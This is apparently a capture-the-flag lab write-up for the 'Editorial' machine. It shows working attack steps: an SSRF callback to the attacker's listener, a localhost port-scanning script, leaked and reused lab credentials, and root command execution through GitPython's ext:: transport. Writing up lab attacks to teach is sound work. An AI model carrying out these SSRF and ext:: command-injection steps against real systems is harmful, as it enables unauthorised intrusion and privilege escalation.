Target IP: 10.10.11.20
Hostname: editorial.htb

Initial Reconnaissance

Editorial starts with a small attack surface. After adding the hostname to /etc/hosts, I scanned all TCP ports and then ran service detection against the discovered ports.

echo "10.10.11.20 editorial.htb" | sudo tee -a /etc/hosts

host=editorial.htb
ip=$(echo $host | sed -E 's|https?://||' | cut -d '/' -f 1)
ports=$(nmap -Pn -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//')
nmap -p$ports -sC -sV $ip

The result only showed SSH and HTTP.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Editorial Tiempo Arriba
|_http-server-header: nginx/1.18.0 (Ubuntu)

Since port 80 was the only exposed application surface, the rest of the foothold had to come from the web application.

Looking at the Upload Feature

The website had a page for submitting book information. One part of the form was especially interesting: a cover image could be uploaded either as a local file or by providing a URL.

The client-side JavaScript sent the form data to /upload-cover and then used the response as the image source.

<script>
  document.getElementById('button-cover').addEventListener('click', function(e) {
    e.preventDefault();
    var formData = new FormData(document.getElementById('form-cover'));
    var xhr = new XMLHttpRequest();
    xhr.open('POST', '/upload-cover');
    xhr.onload = function() {
      if (xhr.status === 200) {
        var imgUrl = xhr.responseText;
        document.getElementById('bookcover').src = imgUrl;
      }
    };
    xhr.send(formData);
  });
</script>

A URL-fetching feature is always worth checking for SSRF. I first sent the bookurl parameter to my own listener.

bookurl=http://10.10.14.2:5555

The server connected back, which confirmed that the backend was making outbound requests based on user-controlled input.

Finding the Internal API

The next step was checking whether the server could reach services that were not exposed externally. I wrote a small loop to send bookurl to localhost ports through the upload endpoint.

import requests

for i in range(1, 65536):
    data = {"bookurl": f"http://127.0.0.1:{i}"}
    files = {"bookfile": ("", b"")}
    r = requests.post("http://editorial.htb/upload-cover", data=data, files=files)
    if r.status_code != 200 or len(r.text) != 61:
        print(f"{i}: {r.status_code}, {len(r.text)}")
        print(r.text)
        print("-" * 50)

Port 5000 returned a different response.

5000: 200, 51
static/uploads/42f1f5ae-cf8b-4c7b-a42e-1559648d175d

Downloading that generated path exposed a JSON response from an internal API.

{
  "messages": [
    {
      "promotions": {
        "description": "Retrieve a list of all the promotions in our library.",
        "endpoint": "/api/latest/metadata/messages/promos",
        "methods": "GET"
      }
    },
    {
      "new_authors": {
        "description": "Retrieve the welcome message sended to our new authors.",
        "endpoint": "/api/latest/metadata/messages/authors",
        "methods": "GET"
      }
    }
  ]
}

The useful endpoint was /api/latest/metadata/messages/authors. Requesting it through the same SSRF primitive leaked credentials for the dev user.

Username: dev
Password: dev080217_devAPI!@

Those credentials worked over SSH.

ssh dev@editorial.htb

From dev to prod

As dev, the interesting directory was ~/apps/app_editorial. It was a Git repository, so I checked the recent history and diffs.

cd ~/apps/app_editorial
git log --oneline
git diff HEAD^ HEAD

The previous commit still contained production credentials in the welcome message template.

- Username: prod
- Password: 080217_Producti0n_2023!@
+ Username: dev
+ Password: dev080217_devAPI!@

That gave a clean lateral move to the prod account.

ssh prod@editorial.htb
# password: 080217_Producti0n_2023!@

prod@editorial:~$ id
uid=1000(prod) gid=1000(prod) groups=1000(prod)

Privilege Escalation with GitPython

For privilege escalation, I checked sudo permissions.

sudo -l

prod could run one Python script as root.

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

The script used GitPython to clone a user-supplied repository URL.

#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

The key detail is protocol.ext.allow=always. Git’s ext:: transport can execute a command, and this script allowed that transport while running as root.

A simple command execution test looked like this:

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py \
  'ext::sh -c touch% /tmp/pwned'

From there, reading the root flag was straightforward by running a shell command through the same vector.

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py \
  'ext::sh -c cat% /root/root.txt% >% /tmp/root.txt'

cat /tmp/root.txt

Takeaways

Editorial was a good reminder that SSRF does not need to return the internal response directly to be useful. In this case, the application fetched the internal API response and saved it as an uploaded file, which was enough to enumerate localhost services and leak credentials.

The privilege escalation was also a nice example of how dangerous Git options can become when wrapped in a privileged script. If a script accepts a repository URL from a lower-privileged user, enabling the ext:: protocol is effectively command execution.